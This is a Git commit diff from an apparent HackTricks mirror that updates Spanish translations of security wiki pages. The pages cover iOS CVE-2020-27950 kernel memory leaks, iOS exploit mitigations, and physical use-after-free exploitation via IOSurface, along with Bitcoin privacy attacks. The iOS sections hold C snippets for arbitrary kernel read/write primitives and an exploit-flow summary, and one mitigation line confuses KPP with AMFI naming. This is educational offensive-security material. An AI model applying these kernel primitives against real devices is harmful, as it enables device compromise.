maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/blockchain/blockchain-and-crypto-currencies/README.md',

Browse Source
This commit is contained in:
Translator 2025-09-30 00:18:54 +00:00
parent feac8e3e40
commit 770452cc53
7 changed files with 389 additions and 403 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

5
src/SUMMARY.md
View File

@ -81,6 +81,7 @@
- [Basic Python](generic-methodologies-and-resources/python/basic-python.md)
- [Threat Modeling](generic-methodologies-and-resources/threat-modeling.md)
- [Blockchain & Crypto](blockchain/blockchain-and-crypto-currencies/README.md)
- [Defi/AMM Hook Precision](blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md)
- [Lua Sandbox Escape](generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md)
# 🧙‍♂️ Generic Hacking
@ -769,7 +770,7 @@
- [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md)
- [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
- [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md)
- [ROP & JOP](binary-exploitation/rop-return-oriented-programing/README.md)
- [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md)
- [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md)
- [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md)
- [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md)
@ -846,7 +847,6 @@
- [ios Heap Exploitation](binary-exploitation/ios-exploiting/ios-example-heap-exploit.md)
- [ios Physical UAF - IOSurface](binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md)
# 🤖 AI
- [AI Security](AI/README.md)
- [Ai Assisted Fuzzing And Vulnerability Discovery](AI/AI-Assisted-Fuzzing-and-Vulnerability-Discovery.md)
@ -895,7 +895,6 @@
- [RC4 - Encrypt\&Decrypt](crypto-and-stego/rc4-encrypt-and-decrypt.md)
- [Stego Tricks](crypto-and-stego/stego-tricks.md)
- [Esoteric languages](crypto-and-stego/esoteric-languages.md)
- [Blockchain & Crypto Currencies](crypto-and-stego/blockchain-and-crypto-currencies.md)
# ✍️ TODO

24
src/binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md
View File

@ -3,11 +3,11 @@
{{#include ../../banners/hacktricks-training.md}}
## La vulnerabilidad
## El fallo
Hay una [great explanation of the vuln here](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), pero como resumen:
Tienes una [excelente explicación de la vuln aquí](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), pero en resumen:
Cada Mach message que recibe el kernel termina con un **"trailer"**: una struct de longitud variable con metadata (seqno, sender token, audit token, context, access control data, labels...). El kernel **siempre reserva el trailer de mayor tamaño posible** (MAX_TRAILER_SIZE) en el buffer del mensaje, pero **solo inicializa algunos campos**, y luego **decide qué tamaño de trailer devolver** basándose en las **receive options controladas por el usuario**.
Cada Mach message que recibe el kernel termina con un **"trailer"**: una struct de longitud variable con metadatos (seqno, sender token, audit token, context, access control data, labels...). El kernel **siempre reserva el trailer más grande posible** (MAX_TRAILER_SIZE) en el buffer del mensaje, pero **solo inicializa algunos campos**, y más tarde **decide qué tamaño de trailer devolver** en función de **opciones de recepción controladas por el usuario**.
Estas son las structs relevantes del trailer:
```c
@ -31,7 +31,7 @@ msg_labels_t msgh_labels;
typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t;
#define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t))
```
Entonces, cuando se genera el trailer object, solo algunos campos se inicializan, y el max trailer size siempre se reserva:
Luego, cuando se genera el objeto trailer, solo algunos campos se inicializan, y siempre se reserva el tamaño máximo del trailer:
```c
trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size);
trailer->msgh_sender = current_thread()->task->sec_token;
@ -41,7 +41,7 @@ trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE;
[...]
trailer->msgh_labels.sender = 0;
```
Entonces, por ejemplo, al intentar leer un mensaje mach usando `mach_msg()` se llama a la función `ipc_kmsg_add_trailer()` para adjuntar el trailer al mensaje. Dentro de esta función se calcula el tamaño del trailer y se rellenan algunos otros campos del trailer:
Entonces, por ejemplo, al intentar leer un mach message usando `mach_msg()` se llama a la función `ipc_kmsg_add_trailer()` para adjuntar el trailer al mensaje. Dentro de esta función se calcula el tamaño del trailer y se rellenan algunos otros campos del trailer:
```c
if (!(option & MACH_RCV_TRAILER_MASK)) { [3]
return trailer->msgh_trailer_size;
@ -51,7 +51,7 @@ trailer->msgh_seqno = seqno;
trailer->msgh_context = context;
trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option);
```
El parámetro `option` está controlado por el usuario, por lo tanto **es necesario proporcionar un valor que supere la comprobación `if`.**
El parámetro `option` está controlado por el usuario, por lo que **es necesario proporcionar un valor que cumpla la condición del `if`.**
Para pasar esta comprobación necesitamos enviar un `option` válido y soportado:
```c
@ -67,7 +67,7 @@ Para pasar esta comprobación necesitamos enviar un `option` válido y soportado
#define MACH_RCV_TRAILER_ELEMENTS(x) (((x) & 0xf) << 24)
#define MACH_RCV_TRAILER_MASK ((0xf << 24))
```
Pero, debido a que `MACH_RCV_TRAILER_MASK` solo está comprobando bits, podemos pasar cualquier valor entre `0` y `8` para no entrar dentro de la instrucción `if`.
Pero, dado que `MACH_RCV_TRAILER_MASK` solo comprueba bits, podemos pasar cualquier valor entre `0` y `8` para evitar entrar en la sentencia `if`.
Luego, continuando con el código puedes encontrar:
```c
@ -92,11 +92,11 @@ ipc_kmsg_munge_trailer(trailer, real_trailer_out, thread_is_64bit_addr(thread));
return trailer->msgh_trailer_size;
```
Donde se puede ver que si el `option` es mayor o igual a `MACH_RCV_TRAILER_AV` (7), el campo **`msgh_ad`** se inicializa a `0`.
Donde se puede ver que si el `option` es mayor o igual que `MACH_RCV_TRAILER_AV` (7), el campo **`msgh_ad`** se inicializa a `0`.
Como habrás notado, **`msgh_ad`** seguía siendo el único campo del trailer que no se inicializó antes y que podría contener un leak de memoria usada anteriormente.
Si te fijaste, **`msgh_ad`** seguía siendo el único campo del trailer que no se había inicializado antes y que podía contener un leak de memoria previamente usada.
Por tanto, la forma de evitar inicializarlo sería pasar un valor de `option` igual a `5` o `6`, de modo que pase el primer `if` y no entre en el `if` que inicializa `msgh_ad` porque los valores `5` y `6` no tienen ningún tipo de trailer asociado.
Por tanto, la forma de evitar inicializarlo es pasar un valor de `option` igual a `5` o `6`, de modo que pase la primera comprobación `if` y no entre en el `if` que inicializa `msgh_ad`, porque los valores `5` y `6` no tienen asociado ningún tipo de trailer.
### Basic PoC
@ -104,9 +104,9 @@ Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-h
### Leak Kernel Address PoC
Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), you have a PoC to leak a kernel address. For this, a message full of `mach_msg_port_descriptor_t` structs is sent in the message cause the field `name` of this structure in userland contains an `unsigned int` but in kernel the `name` field is a struct `ipc_port` pointer in kernel. Therefore, sending tens of these structs in the message in kernel will mean to **añadir varias direcciones del kernel dentro del mensaje** so one of them can be leaked.
Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), you have a PoC to leak a kernel address. For this, a message full of `mach_msg_port_descriptor_t` structs is sent in the message cause the field `name` of this structure in userland contains an unsigned int but in kernel the `name` field is a struct `ipc_port` pointer in kernel. Thefore, sending tens of these structs in the message in kernel will mean to **añadir varias kernel addresses dentro del mensaje** so one of them can be leaked.
Se añadieron comentarios para una mejor comprensión:
Se añadieron comentarios para mejor comprensión:
```c
#include <stdio.h>
#include <stdlib.h>

51
src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md
View File

@ -3,19 +3,22 @@
{{#include ../../banners/hacktricks-training.md}}
## iOS Exploit Mitigations
## Mitigaciones de exploits en iOS
- **Code Signing** in iOS works by requiring every piece of executable code (apps, libraries, extensions, etc.) to be cryptographically signed with a certificate issued by Apple. When code is loaded, iOS verifies the digital signature against Apple’s trusted root. If the signature is invalid, missing, or modified, the OS refuses to run it. This prevents attackers from injecting malicious code into legitimate apps or running unsigned binaries, effectively stopping most exploit chains that rely on executing arbitrary or tampered code.
- **CoreTrust** is the iOS subsystem responsible for enforcing code signing at runtime. It directly verifies signatures using Apple’s root certificate without relying on cached trust stores, meaning only binaries signed by Apple (or with valid entitlements) can execute. CoreTrust ensures that even if an attacker tampers with an app after installation, modifies system libraries, or tries to load unsigned code, the system will block execution unless the code is still properly signed. This strict enforcement closes many post-exploitation vectors that older iOS versions allowed through weaker or bypassable signature checks.
- **Data Execution Prevention (DEP)** marks memory regions as non-executable unless they explicitly contain code. This stops attackers from injecting shellcode into data regions (like the stack or heap) and running it, forcing them to rely on more complex techniques like ROP (Return-Oriented Programming).
- **ASLR (Address Space Layout Randomization)** randomizes the memory addresses of code, libraries, stack, and heap every time the system runs. This makes it much harder for attackers to predict where useful instructions or gadgets are, breaking many exploit chains that depend on fixed memory layouts.
- **KASLR (Kernel ASLR)** applies the same randomization concept to the iOS kernel. By shuffling the kernel’s base address at each boot, it prevents attackers from reliably locating kernel functions or structures, raising the difficulty of kernel-level exploits that would otherwise gain full system control.
- **Kernel Patch Protection (KPP)** also known as **AMCC (Apple Mobile File Integrity)** in iOS, continuously monitors the kernel’s code pages to ensure they haven’t been modified. If any tampering is detected—such as an exploit trying to patch kernel functions or insert malicious code—the device will immediately panic and reboot. This protection makes persistent kernel exploits far harder, as attackers can’t simply hook or patch kernel instructions without triggering a system crash.
- **Kernel Text Readonly Region (KTRR)** is a hardware-based security feature introduced on iOS devices. It uses the CPU’s memory controller to mark the kernel’s code (text) section as permanently read-only after boot. Once locked, even the kernel itself cannot modify this memory region. This prevents attackers—and even privileged code—from patching kernel instructions at runtime, closing off a major class of exploits that relied on modifying kernel code directly.
- **Pointer Authentication Codes (PAC)** use cryptographic signatures embedded into unused bits of pointers to verify their integrity before use. When a pointer (like a return address or function pointer) is created, the CPU signs it with a secret key; before dereferencing, the CPU checks the signature. If the pointer was tampered with, the check fails and execution stops. This prevents attackers from forging or reusing corrupted pointers in memory corruption exploits, making techniques like ROP or JOP much harder to pull off reliably.
- **Privilege Access never (PAN)** is a hardware feature that prevents the kernel (privileged mode) from directly accessing user-space memory unless it explicitly enables access. This stops attackers who gained kernel code execution from easily reading or writing user memory to escalate exploits or steal sensitive data. By enforcing strict separation, PAN reduces the impact of kernel exploits and blocks many common privilege-escalation techniques.
- **Page Protection Layer (PPL)** is an iOS security mechanism that protects critical kernel-managed memory regions, especially those related to code signing and entitlements. It enforces strict write protections using the MMU (Memory Management Unit) and additional checks, ensuring that even privileged kernel code cannot arbitrarily modify sensitive pages. This prevents attackers who gain kernel-level execution from tampering with security-critical structures, making persistence and code-signing bypasses significantly harder.
- **Code Signing** en iOS funciona requiriendo que cada pieza de código ejecutable (apps, librerías, extensiones, etc.) esté firmada criptográficamente con un certificado emitido por Apple. Cuando se carga código, iOS verifica la firma digital contra la raíz de confianza de Apple. Si la firma es inválida, falta o ha sido modificada, el OS se niega a ejecutarlo. Esto impide que un atacante inyecte código malicioso en apps legítimas o ejecute binarios sin firmar, deteniendo efectivamente la mayoría de las cadenas de explotación que dependen de ejecutar código arbitrario o manipulado.
- **CoreTrust** es el subsistema de iOS responsable de hacer cumplir la firma de código en tiempo de ejecución. Verifica directamente las firmas usando el certificado raíz de Apple sin depender de almacenes de confianza en caché, lo que significa que solo pueden ejecutarse binarios firmados por Apple (o con entitlements válidos). CoreTrust asegura que, incluso si un atacante manipula una app después de la instalación, modifica librerías del sistema o intenta cargar código sin firmar, el sistema bloqueará la ejecución a menos que el código siga estando correctamente firmado. Esta estricta aplicación cierra muchos vectores post-explotación que versiones antiguas de iOS permitían mediante comprobaciones de firma más débiles o eludibles.
- **Data Execution Prevention (DEP)** marca regiones de memoria como no ejecutables a menos que contengan explícitamente código. Esto impide que atacantes inyecten shellcode en regiones de datos (como stack o heap) y lo ejecuten, obligándolos a recurrir a técnicas más complejas como ROP (Return-Oriented Programming).
- **ASLR (Address Space Layout Randomization)** aleatoriza las direcciones de memoria de código, librerías, stack y heap en cada arranque. Esto dificulta mucho que un atacante prediga dónde se encuentran instrucciones o gadgets útiles, rompiendo muchas cadenas de explotación que dependen de layouts de memoria fijos.
- **KASLR (Kernel ASLR)** aplica el mismo concepto de aleatorización al kernel de iOS. Al barajar la dirección base del kernel en cada arranque, evita que un atacante localice de forma fiable funciones o estructuras del kernel, aumentando la dificultad de exploits a nivel de kernel que de otro modo obtendrían control completo del sistema.
- **Kernel Patch Protection (KPP)** también conocido como **AMCC (Apple Mobile File Integrity)** en iOS, supervisa continuamente las páginas de código del kernel para asegurar que no hayan sido modificadas. Si se detecta manipulación—como un exploit intentando parchear funciones del kernel o insertar código malicioso—el dispositivo hará panic y se reiniciará inmediatamente. Esta protección hace que los exploits persistentes en el kernel sean mucho más difíciles, ya que un atacante no puede simplemente hookear o parchear instrucciones del kernel sin provocar un crash del sistema.
- **Kernel Text Readonly Region (KTRR)** es una característica de seguridad basada en hardware introducida en dispositivos iOS. Usa el controlador de memoria de la CPU para marcar la sección de código (text) del kernel como permanentemente de solo lectura después del boot. Una vez bloqueada, ni siquiera el propio kernel puede modificar esta región de memoria. Esto evita que atacantes—e incluso código con privilegios—parcheen instrucciones del kernel en tiempo de ejecución, cerrando una gran clase de exploits que dependían de modificar directamente código del kernel.
- **Pointer Authentication Codes (PAC)** usan firmas criptográficas incrustadas en bits no usados de los punteros para verificar su integridad antes de usarlos. Cuando se crea un puntero (como una dirección de retorno o un puntero a función), la CPU lo firma con una clave secreta; antes de desreferenciarlo, la CPU comprueba la firma. Si el puntero fue manipulado, la comprobación falla y la ejecución se detiene. Esto impide que atacantes forjen o reutilicen punteros corrompidos en exploits de corrupción de memoria, haciendo técnicas como ROP o JOP mucho más difíciles de ejecutar de forma fiable.
- **Privilege Access never (PAN)** es una característica de hardware que evita que el kernel (modo privilegiado) acceda directamente a la memoria de user-space a menos que habilite explícitamente el acceso. Esto detiene a atacantes que obtuvieron ejecución de código en el kernel de leer o escribir fácilmente memoria de usuario para escalar privilegios o robar datos sensibles. Al imponer una separación estricta, PAN reduce el impacto de exploits del kernel y bloquea muchas técnicas comunes de escalada de privilegios.
- **Page Protection Layer (PPL)** es un mecanismo de seguridad de iOS que protege regiones críticas de memoria gestionadas por el kernel, especialmente las relacionadas con code signing y entitlements. Aplica protecciones de escritura estrictas usando la MMU (Memory Management Unit) y comprobaciones adicionales, asegurando que incluso código de kernel con privilegios no pueda modificar páginas sensibles de forma arbitraria. Esto impide que atacantes que obtengan ejecución a nivel de kernel manipulen estructuras críticas de seguridad, haciendo la persistencia y las evasiones de code-signing significativamente más difíciles.
## Physical use-after-free
This is a summary from the post from [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) moreover further information about exploit using this technique can be found in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
### Memory management in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
@ -64,7 +67,7 @@ Alternatively, if the L2 entry points to an L3 table:
* Each 4 KB page in the virtual address range **0x1000000000 -> 0x1002000000** would be mapped by individual entries in the L3 table.
## Physical use-after-free
### Physical use-after-free
A **physical use-after-free** (UAF) occurs when:
@ -160,16 +163,16 @@ return 0;
```
### Lograr lectura/escritura del kernel con IOSurface
Después de controlar un objeto IOSurface en la memoria del kernel (mapeado a una página física liberada accesible desde userspace), podemos usarlo para operaciones **arbitrarias de lectura y escritura en el kernel**.
Después de obtener control sobre un objeto IOSurface en kernel memory (mapeado a una página física liberada accesible desde userspace), podemos usarlo para **operaciones arbitrarias de lectura y escritura en kernel**.
**Campos clave en IOSurface**
**Key Fields in IOSurface**
El objeto IOSurface tiene dos campos cruciales:
1. **Use Count Pointer**: Permite una **lectura de 32 bits**.
2. **Indexed Timestamp Pointer**: Permite una **escritura de 64 bits**.
1. **Use Count Pointer**: Permite una lectura de 32 bits.
2. **Indexed Timestamp Pointer**: Permite una escritura de 64 bits.
Al sobrescribir estos punteros, los redirigimos a direcciones arbitrarias en la memoria del kernel, habilitando capacidades de lectura/escritura.
Al sobrescribir estos punteros, los redirigimos a direcciones arbitrarias en kernel memory, habilitando capacidades de lectura/escritura.
#### Lectura de 32 bits del kernel
@ -194,11 +197,11 @@ iosurface_set_use_count_pointer(info.object, orig);
return value;
}
```
#### Escritura en el kernel de 64 bits
#### Escritura de kernel de 64 bits
Para realizar una escritura:
1. Sobrescribe el **puntero de timestamp indexado** con la dirección objetivo.
1. Sobrescribe el **indexed timestamp pointer** con la dirección objetivo.
2. Usa el método `set_indexed_timestamp` para escribir un valor de 64 bits.
```c
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
@ -215,11 +218,11 @@ iosurface_set_indexed_timestamp_pointer(info.object, orig);
```
#### Resumen del flujo del exploit
1. **Trigger Physical Use-After-Free**: Las páginas liberadas quedan disponibles para su reutilización.
2. **Spray IOSurface Objects**: Asigna muchos objetos IOSurface con un "magic value" único en la memoria del kernel.
3. **Identify Accessible IOSurface**: Localiza un IOSurface en una página liberada que controlas.
4. **Abuse Use-After-Free**: Modifica punteros en el objeto IOSurface para habilitar kernel read/write arbitrarios mediante métodos de IOSurface.
1. **Trigger Physical Use-After-Free**: Las páginas libres están disponibles para su reutilización.
2. **Spray IOSurface Objects**: Asignar muchos objetos IOSurface con un valor mágico único en la memoria del kernel.
3. **Identify Accessible IOSurface**: Localizar un IOSurface en una página liberada que controles.
4. **Abuse Use-After-Free**: Modificar punteros en el objeto IOSurface para habilitar **kernel read/write** arbitrarios mediante los métodos de IOSurface.
Con estas primitivas, el exploit proporciona lecturas controladas de 32 bits y escrituras de 64 bits en la memoria del kernel. Pasos adicionales del jailbreak podrían implicar primitivas de lectura/escritura más estables, lo que puede requerir eludir protecciones adicionales (p. ej., PPL en dispositivos arm64e más recientes).
Con estas primitivas, el exploit proporciona **32-bit reads** controladas y **64-bit writes** a la memoria del kernel. Los pasos adicionales del jailbreak podrían implicar primitivas de read/write más estables, lo que podría requerir eludir protecciones adicionales (p. ej., PPL en dispositivos arm64e más recientes).
{{#include ../../banners/hacktricks-training.md}}

168
src/blockchain/blockchain-and-crypto-currencies/README.md
View File

@ -1,174 +1,176 @@
# Blockchain y Criptomonedas
{{#include ../../banners/hacktricks-training.md}}
## Conceptos Básicos
- **Smart Contracts** se definen como programas que se ejecutan en una blockchain cuando se cumplen ciertas condiciones, automatizando la ejecución de acuerdos sin intermediarios.
- **Decentralized Applications (dApps)** se basan en smart contracts, presentando una interfaz amigable para el usuario y un backend transparente y auditable.
- **Tokens & Coins** diferencian donde las coins sirven como dinero digital, mientras que los tokens representan valor o propiedad en contextos específicos.
- **Utility Tokens** otorgan acceso a servicios, y **Security Tokens** significan propiedad de activos.
- **DeFi** significa Finanzas Descentralizadas, ofreciendo servicios financieros sin autoridades centrales.
- **DEX** y **DAOs** se refieren a Plataformas de Intercambio Descentralizado y Organizaciones Autónomas Descentralizadas, respectivamente.
- **Decentralized Applications (dApps)** se construyen sobre smart contracts, con un front-end amigable para el usuario y un back-end transparente y auditable.
- **Tokens & Coins** se diferencian en que las coins sirven como dinero digital, mientras que los tokens representan valor o propiedad en contextos específicos.
- **Utility Tokens** otorgan acceso a servicios, y **Security Tokens** significan la propiedad de un activo.
- **DeFi** significa Decentralized Finance, ofreciendo servicios financieros sin autoridades centrales.
- **DEX** y **DAOs** se refieren a Decentralized Exchange Platforms y Decentralized Autonomous Organizations, respectivamente.
## Mecanismos de Consenso
Los mecanismos de consenso aseguran validaciones de transacciones seguras y acordadas en la blockchain:
Los mecanismos de consenso aseguran la validación segura y acordada de transacciones en la blockchain:
- **Proof of Work (PoW)** se basa en el poder computacional para la verificación de transacciones.
- **Proof of Stake (PoS)** exige que los validadores mantengan una cierta cantidad de tokens, reduciendo el consumo de energía en comparación con PoW.
- **Proof of Work (PoW)** se basa en potencia computacional para la verificación de transacciones.
- **Proof of Stake (PoS)** exige que los validators posean una cierta cantidad de tokens, reduciendo el consumo energético en comparación con PoW.
## Esenciales de Bitcoin
## Bitcoin Essentials
### Transacciones
### Transactions
Las transacciones de Bitcoin implican la transferencia de fondos entre direcciones. Las transacciones se validan a través de firmas digitales, asegurando que solo el propietario de la clave privada pueda iniciar transferencias.
Las transacciones de Bitcoin implican transferir fondos entre direcciones. Las transacciones se validan mediante firmas digitales, asegurando que solo el propietario de la clave privada pueda iniciar transferencias.
#### Componentes Clave:
#### Componentes clave:
- **Multisignature Transactions** requieren múltiples firmas para autorizar una transacción.
- Las transacciones consisten en **inputs** (fuente de fondos), **outputs** (destino), **fees** (pagados a los mineros) y **scripts** (reglas de la transacción).
- Las transacciones consisten en **inputs** (fuente de fondos), **outputs** (destino), **fees** (pagados a miners) y **scripts** (reglas de la transacción).
### Lightning Network
Aumenta la escalabilidad de Bitcoin permitiendo múltiples transacciones dentro de un canal, transmitiendo solo el estado final a la blockchain.
Busca mejorar la escalabilidad de Bitcoin permitiendo múltiples transacciones dentro de un canal, publicando en la blockchain solo el estado final.
## Preocupaciones de Privacidad de Bitcoin
## Bitcoin Privacy Concerns
Los ataques a la privacidad, como **Common Input Ownership** y **UTXO Change Address Detection**, explotan patrones de transacción. Estrategias como **Mixers** y **CoinJoin** mejoran el anonimato al oscurecer los vínculos de transacción entre usuarios.
Los ataques a la privacidad, como **Common Input Ownership** y **UTXO Change Address Detection**, explotan patrones de transacción. Estrategias como **Mixers** y **CoinJoin** mejoran el anonimato al ocultar enlaces de transacción entre usuarios.
## Adquiriendo Bitcoins Anónimamente
## Acquiring Bitcoins Anonymously
Los métodos incluyen intercambios en efectivo, minería y el uso de mixers. **CoinJoin** mezcla múltiples transacciones para complicar la trazabilidad, mientras que **PayJoin** disfraza CoinJoins como transacciones regulares para una mayor privacidad.
Los métodos incluyen intercambios en efectivo, mining y el uso de mixers. **CoinJoin** mezcla múltiples transacciones para complicar la trazabilidad, mientras que **PayJoin** disfraza CoinJoins como transacciones normales para mayor privacidad.
# Ataques a la Privacidad de Bitcoin
# Bitcoin Privacy Atacks
# Resumen de Ataques a la Privacidad de Bitcoin
# Resumen de los ataques a la privacidad de Bitcoin
En el mundo de Bitcoin, la privacidad de las transacciones y el anonimato de los usuarios son a menudo temas de preocupación. Aquí hay una visión simplificada de varios métodos comunes a través de los cuales los atacantes pueden comprometer la privacidad de Bitcoin.
En el mundo de Bitcoin, la privacidad de las transacciones y el anonimato de los usuarios suelen ser motivo de preocupación. Aquí tienes una visión simplificada de varios métodos comunes mediante los cuales un atacante puede comprometer la privacidad en Bitcoin.
## **Suposición de Propiedad de Entrada Común**
## **Common Input Ownership Assumption**
Es generalmente raro que las entradas de diferentes usuarios se combinen en una sola transacción debido a la complejidad involucrada. Por lo tanto, **se asume a menudo que dos direcciones de entrada en la misma transacción pertenecen al mismo propietario**.
Generalmente es raro que inputs de diferentes usuarios se combinen en una misma transacción debido a la complejidad involucrada. Por tanto, **dos direcciones de input en la misma transacción a menudo se asumen como pertenecientes al mismo propietario**.
## **Detección de Dirección de Cambio UTXO**
## **UTXO Change Address Detection**
Un UTXO, o **Unspent Transaction Output**, debe ser completamente gastado en una transacción. Si solo una parte se envía a otra dirección, el resto va a una nueva dirección de cambio. Los observadores pueden asumir que esta nueva dirección pertenece al remitente, comprometiendo la privacidad.
Un UTXO, o **Unspent Transaction Output**, debe gastarse completamente en una transacción. Si solo se envía una parte a otra dirección, el resto va a una nueva change address. Los observadores pueden asumir que esta nueva dirección pertenece al remitente, comprometiendo la privacidad.
### Ejemplo
Para mitigar esto, los servicios de mezcla o el uso de múltiples direcciones pueden ayudar a oscurecer la propiedad.
Para mitigar esto, los servicios de mixing o el uso de múltiples direcciones pueden ayudar a obscurecer la propiedad.
## **Exposición en Redes Sociales y Foros**
## **Social Networks & Forums Exposure**
Los usuarios a veces comparten sus direcciones de Bitcoin en línea, lo que hace **fácil vincular la dirección a su propietario**.
Los usuarios a veces comparten sus direcciones de Bitcoin en línea, lo que hace **fácil vincular la dirección con su propietario**.
## **Análisis de Gráficos de Transacciones**
## **Transaction Graph Analysis**
Las transacciones pueden visualizarse como gráficos, revelando conexiones potenciales entre usuarios basadas en el flujo de fondos.
Las transacciones pueden visualizarse como grafos, revelando conexiones potenciales entre usuarios según el flujo de fondos.
## **Heurística de Entrada Innecesaria (Heurística de Cambio Óptimo)**
## **Unnecessary Input Heuristic (Optimal Change Heuristic)**
Esta heurística se basa en analizar transacciones con múltiples entradas y salidas para adivinar cuál salida es el cambio que regresa al remitente.
Este heurístico se basa en analizar transacciones con múltiples inputs y outputs para adivinar cuál output es el cambio que regresa al remitente.
### Ejemplo
```bash
2 btc --> 4 btc
3 btc 1 btc
```
Si agregar más entradas hace que la salida cambie más que cualquier entrada individual, puede confundir la heurística.
Si añadir más entradas hace que la salida de cambio sea mayor que cualquier entrada individual, puede confundir a la heurística.
## **Reutilización Forzada de Direcciones**
## **Forced Address Reuse**
Los atacantes pueden enviar pequeñas cantidades a direcciones previamente utilizadas, con la esperanza de que el destinatario las combine con otras entradas en transacciones futuras, vinculando así las direcciones.
Los atacantes pueden enviar pequeñas cantidades a direcciones ya usadas, con la esperanza de que el destinatario las combine con otras entradas en transacciones futuras, vinculando así las direcciones.
### Comportamiento Correcto de la Billetera
### Correct Wallet Behavior
Las billeteras deben evitar usar monedas recibidas en direcciones ya utilizadas y vacías para prevenir esta fuga de privacidad.
Wallets deberían evitar usar monedas recibidas en direcciones vacías ya usadas para prevenir este privacy leak.
## **Otras Técnicas de Análisis de Blockchain**
## **Other Blockchain Analysis Techniques**
- **Montos de Pago Exactos:** Las transacciones sin cambio son probablemente entre dos direcciones pertenecientes al mismo usuario.
- **Números Redondos:** Un número redondo en una transacción sugiere que es un pago, siendo la salida no redonda probablemente el cambio.
- **Huella Digital de Billetera:** Diferentes billeteras tienen patrones únicos de creación de transacciones, lo que permite a los analistas identificar el software utilizado y potencialmente la dirección de cambio.
- **Correlaciones de Monto y Tiempo:** Divulgar los tiempos o montos de las transacciones puede hacer que las transacciones sean rastreables.
- **Exact Payment Amounts:** Las transacciones sin cambio probablemente sean entre dos direcciones pertenecientes al mismo usuario.
- **Round Numbers:** Un número redondo en una transacción sugiere que es un pago, siendo la salida no redonda probablemente el cambio.
- **Wallet Fingerprinting:** Diferentes wallets tienen patrones únicos al crear transacciones, lo que permite a los analistas identificar el software usado y potencialmente la dirección de cambio.
- **Amount & Timing Correlations:** Revelar los tiempos o montos de transacciones puede hacerlas rastreables.
## **Análisis de Tráfico**
## **Traffic Analysis**
Al monitorear el tráfico de la red, los atacantes pueden potencialmente vincular transacciones o bloques a direcciones IP, comprometiendo la privacidad del usuario. Esto es especialmente cierto si una entidad opera muchos nodos de Bitcoin, mejorando su capacidad para monitorear transacciones.
Al monitorizar el tráfico de la red, los atacantes pueden potencialmente vincular transacciones o bloques a direcciones IP, comprometiendo la privacidad del usuario. Esto es especialmente cierto si una entidad opera muchos nodos Bitcoin, lo que mejora su capacidad para monitorizar transacciones.
## Más
## More
Para una lista completa de ataques a la privacidad y defensas, visita [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
Para una lista completa de ataques y defensas de privacidad, visita [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
# Transacciones Anónimas de Bitcoin
# Anonymous Bitcoin Transactions
## Formas de Obtener Bitcoins de Manera Anónima
## Ways to Get Bitcoins Anonymously
- **Transacciones en Efectivo**: Adquirir bitcoin a través de efectivo.
- **Alternativas en Efectivo**: Comprar tarjetas de regalo y cambiarlas en línea por bitcoin.
- **Minería**: El método más privado para ganar bitcoins es a través de la minería, especialmente cuando se hace solo, ya que los grupos de minería pueden conocer la dirección IP del minero. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
- **Robo**: Teóricamente, robar bitcoin podría ser otro método para adquirirlo de manera anónima, aunque es ilegal y no se recomienda.
- **Cash Transactions**: Adquirir bitcoin en efectivo.
- **Cash Alternatives**: Comprar tarjetas regalo y cambiarlas en línea por bitcoin.
- **Mining**: El método más privado para ganar bitcoins es mediante minería, especialmente si se hace en solitario, porque los mining pools pueden conocer la IP del minero. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
- **Theft**: Teóricamente, robar bitcoin podría ser otro método para adquirirlo de forma anónima, aunque es ilegal y no recomendable.
## Servicios de Mezcla
## Mixing Services
Al usar un servicio de mezcla, un usuario puede **enviar bitcoins** y recibir **diferentes bitcoins a cambio**, lo que dificulta rastrear al propietario original. Sin embargo, esto requiere confianza en el servicio para no mantener registros y para devolver realmente los bitcoins. Las opciones de mezcla alternativas incluyen casinos de Bitcoin.
Al usar un servicio de mezcla, un usuario puede **enviar bitcoins** y recibir **bitcoins diferentes a cambio**, lo que dificulta rastrear al propietario original. Aun así, esto requiere confiar en que el servicio no guarde logs y que realmente devuelva los bitcoins. Opciones alternativas de mezcla incluyen casinos Bitcoin.
## CoinJoin
